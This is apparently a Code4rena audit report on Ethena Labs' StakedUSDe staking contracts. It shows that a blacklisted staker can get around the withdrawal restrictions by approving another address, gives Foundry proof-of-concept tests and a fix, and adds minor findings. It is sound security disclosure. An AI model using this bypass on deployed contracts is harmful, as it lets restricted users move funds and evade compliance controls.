Ethena Labs - Team_Rocket's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L232-L234

Vulnerability details

Impact

A staker who has the FULL_RESTRICTED_STAKER_ROLE can still unstake their USDe.

Proof of Concept

The StakedUSDe._withdraw function has the following check to ensure that users with the FULL_RESTRICTED_STAKER_ROLE cannot withdraw their staked USDe:

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L232-L234

    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
      revert OperationNotAllowed();
    }

This only checks for the caller and receiver, and not the _owner. A blacklisted _owner can approve an unblacklisted address to get around this check.

The StakedUSDe_beforeTokenTransfer function also has a similar check:

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L245-L252

  function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) {
      revert OperationNotAllowed();
    }
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) {
      revert OperationNotAllowed();
    }
  }

The hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0) condition allows blacklisted owners to burn their stUSDe tokens so that StakedUSDe.redistributeLockedAmount can function. However, this also has the unintended side effect of allowing blacklisted owners to unstake their USDe tokens.

A staker that has the FULL_RESTRICTED_STAKER_ROLE can unstake their USDe tokens by doing the following:

1. Use ERC20.approve for a caller address that isn't blacklisted.
2. caller calls StakedUSDeV2.cooldownAssets (or StakedUSDeV2.withdraw if there is no cooldown).
3. If there is a cooldown, the restricted owner calls StakedUSDeV2.unstake(caller) after cooldown.

Run these two tests inside StakedUSDeV2.blacklist.t.sol:

  function testBypassBlacklistingWithCooldown() public {
    _mintApproveDeposit(greg, _amount, false);

    assertEq(usdeToken.balanceOf(greg), 0);
    assertEq(usdeToken.balanceOf(alice), 0);
    assertEq(usdeToken.balanceOf(address(stakedUSDe)), _amount);
    assertEq(stakedUSDe.balanceOf(greg), _amount);

    // blacklist greg
    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, greg);
    vm.stopPrank();

    vm.prank(greg);
    stakedUSDe.approve(alice, _amount);

    vm.prank(alice);
    vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
    stakedUSDe.cooldownAssets(_amount, greg);

    (uint104 cooldownEnd,) = stakedUSDe.cooldowns(greg);

    vm.warp(cooldownEnd + 1);
    vm.prank(greg);
    
    stakedUSDe.unstake(alice);// from silo to alice

    assertEq(usdeToken.balanceOf(alice), 0, "Alice should not get any USDe");
  }

  function testBypassBlacklistingWithoutCooldown() public {
    _mintApproveDeposit(greg, _amount, false);

    assertEq(usdeToken.balanceOf(greg), 0);
    assertEq(usdeToken.balanceOf(alice), 0);
    assertEq(usdeToken.balanceOf(address(stakedUSDe)), _amount);
    assertEq(stakedUSDe.balanceOf(greg), _amount);

    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, greg); // blacklist greg
    stakedUSDe.setCooldownDuration(0); // set cooldown to 0
    vm.stopPrank();

    vm.prank(greg);
    stakedUSDe.approve(alice, _amount);

    vm.prank(alice);
    vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
    stakedUSDe.withdraw(_amount, alice, greg);
  }

Both tests do not revert as expected.

[FAIL. Reason: Call did not revert as expected] testBypassBlacklistingWithCooldown() (gas: 355374)
[FAIL. Reason: Call did not revert as expected] testBypassBlacklistingWithoutCooldown() (gas: 312465)

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Add a check for the _owner in the StakedUSDe._withdraw function:

    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver) || hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner)) {
      revert OperationNotAllowed();
    }

The two tests above should pass:

[PASS] testBypassBlacklistingWithCooldown() (gas: 299183)
[PASS] testBypassBlacklistingWithoutCooldown() (gas: 237396)

Assessed type

Access Control

Low Severity Findings

[L-01] Users who started the cooldown period have to wait for cooldownDuration even if cooldownDuration is set to 0.

When a user calls cooldownAssets or cooldownShares a cooldown starts and have to wait cooldownDuration in order to claim his staking amount. When admin sets the setCooldownDuration to 0:

• users who entered the cooldown phase are forced to wait the cooldown to finish.
• the other users can claim their staking amount immediately.

Suggested fix: check if cooldownDuration == 0 in `unstake function:

  function unstake(address receiver) external {
    UserCooldown storage userCooldown = cooldowns[msg.sender];
    uint256 assets = userCooldown.underlyingAmount;

    if ((block.timestamp >= userCooldown.cooldownEnd) || (cooldownDuration == 0)){
      userCooldown.cooldownEnd = 0;
      userCooldown.underlyingAmount = 0;

      silo.withdraw(receiver, assets);
    } else {
      revert InvalidCooldown();
    }
  }

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L100

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L116

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L82

Non-critical Findings

[NC-01] USDeSilo.sol: unused import

SafeERC20 library is imported by USDeSilo but never used.

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/USDeSilo.sol#L5C48-L5C48

[NC-02] StakedUSDe.sol function call has no effect.

Second call to getUnvestedAmount from transferInRewards can be removed since will always return 0.

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L91

  function transferInRewards(uint256 amount) external nonReentrant onlyRole(REWARDER_ROLE) notZero(amount) {
    if (getUnvestedAmount() > 0) revert StillVesting();
   //@audit if next line is executed getUnvestedAmount will return 0 
    uint256 newVestingAmount = amount + getUnvestedAmount();